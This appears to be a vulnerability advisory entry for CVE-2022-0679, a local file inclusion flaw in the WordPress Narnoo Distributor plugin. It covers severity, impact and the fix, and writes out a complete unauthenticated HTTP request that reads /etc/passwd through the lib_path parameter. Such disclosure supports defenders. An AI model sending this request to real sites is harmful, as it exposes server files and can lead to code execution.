| Title | WordPress Narnoo Distributor <=2.5.1 - Local File Inclusion |
|---|---|
| Author | Veshraj |
| Severity | Critical |
| Impact | The vulnerability can lead to unauthorized access to sensitive files, potentially exposing sensitive information or allowing for further exploitation. |
| Remediation | Update to the latest version of the WordPress Narnoo Distributor plugin (>=2.5.2) to mitigate the LFI vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.84482 |
| CVE ID | CVE-2022-0679 |
| CWE ID | CWE-22 |
| Tags | cve cve2022 narnoo-distributor wordpress wp-plugin wpscan wp rce unauth lfi narnoo_distributor_project vkev vuln |
WordPress Narnoo Distributor plugin 2.5.1 and prior is susceptible to local file inclusion. The plugin does not validate and sanitize the lib_path parameter before being passed into a call to require() via the narnoo_distributor_lib_request AJAX action, and the content of the file is displayed in the response as JSON data. This can also lead to a remote code execution vulnerability depending on system and configuration.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Mobile/15E148 Safari/604.1
Connection: close
Content-Length: 58
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip
action=narnoo_distributor_lib_request&lib_path=/etc/passwd
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0679.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-0679.pcap
N/AN/A